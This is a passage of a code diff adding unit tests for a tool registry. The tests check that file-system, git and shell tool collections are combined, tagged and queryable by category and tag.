+ expect(bashxTools.every((t) => t.subcategory === 'shell')).toBe(true)
531
+ })
532
+
533
+ it('all tools have bashx tag', () => {
534
+ expect(bashxTools.every((t) => t.tags?.includes('bashx'))).toBe(true)
535
+ })
536
+ })
537
+
538
+ describe('systemTools', () => {
539
+ it('combines all system tool collections', () => {
540
+ const expectedCount = fsxTools.length + gitxTools.length + bashxTools.length
541
+ expect(systemTools).toHaveLength(expectedCount)
542
+ })
543
+
544
+ it('contains fsxTools', () => {
545
+ const ids = systemTools.map((t) => t.id)
546
+ for (const tool of fsxTools) {
547
+ expect(ids).toContain(tool.id)
548
+ }
549
+ })
550
+
551
+ it('contains gitxTools', () => {
552
+ const ids = systemTools.map((t) => t.id)
553
+ for (const tool of gitxTools) {
554
+ expect(ids).toContain(tool.id)
555
+ }
556
+ })
557
+
558
+ it('contains bashxTools', () => {
559
+ const ids = systemTools.map((t) => t.id)
560
+ for (const tool of bashxTools) {
561
+ expect(ids).toContain(tool.id)
562
+ }
563
+ })
564
+ })
565
+ })
566
+
567
+ describe('System Tools Registry Integration', () => {
568
+ beforeEach(() => {
569
+ registry.clear()
570
+ })
571
+
572
+ it('registers system tools directly', () => {
573
+ // Register system tools directly
574
+ for (const tool of systemTools) {
575
+ registry.register(tool)
576
+ }
577
+
578
+ // Check a sample from each collection
579
+ expect(registry.has('system.fs.read')).toBe(true)
580
+ expect(registry.has('system.git.status')).toBe(true)
581
+ expect(registry.has('system.bash.exec')).toBe(true)
582
+ })
583
+
584
+ it('can query by system category', () => {
585
+ for (const tool of systemTools) {
586
+ registry.register(tool)
587
+ }
588
+
589
+ const tools = registry.byCategory('system')
590
+ // Should include fsx and bash tools
591
+ expect(tools.some((t) => t.id === 'system.fs.read')).toBe(true)
592
+ expect(tools.some((t) => t.id === 'system.bash.exec')).toBe(true)
593
+ })
594
+
595
+ it('can query by development category', () => {
596
+ for (const tool of systemTools) {
597
+ registry.register(tool)
598
+ }
599
+
600
+ const tools = registry.byCategory('development')
601
+ // Should include git tools
602
+ expect(tools.some((t) => t.id === 'system.git.init')).toBe(true)
603
+ expect(tools.some((t) => t.id === 'system.git.commit')).toBe(true)
604
+ })
605
+
606
+ it('can find tools by fsx tag', () => {
607
+ for (const tool of systemTools) {
608
+ registry.register(tool)
609
+ }
610
+
611
+ const tools = registry.query({ tags: ['fsx'] })
612
+ expect(tools.length).toBe(6) // fsxTools has 6 tools
613
+ })
614
+
615
+ it('can find tools by gitx tag', () => {
616
+ for (const tool of systemTools) {
617
+ registry.register(tool)
618
+ }
619
+
620
+ const tools = registry.query({ tags: ['gitx'] })
621
+ expect(tools.length).toBe(10) // gitxTools has 10 tools
622
+ })
623
+
624
+ it('can find tools by bashx tag', () => {
625
+ for (const tool of systemTools) {
626
+ registry.register(tool)
627
+ }
628
+
629
+ const tools = registry.query({ tags: ['bashx'] })
630
+ expect(tools.length).toBe(4) // bashxTools has 4 tools
631
+ })
632
+ })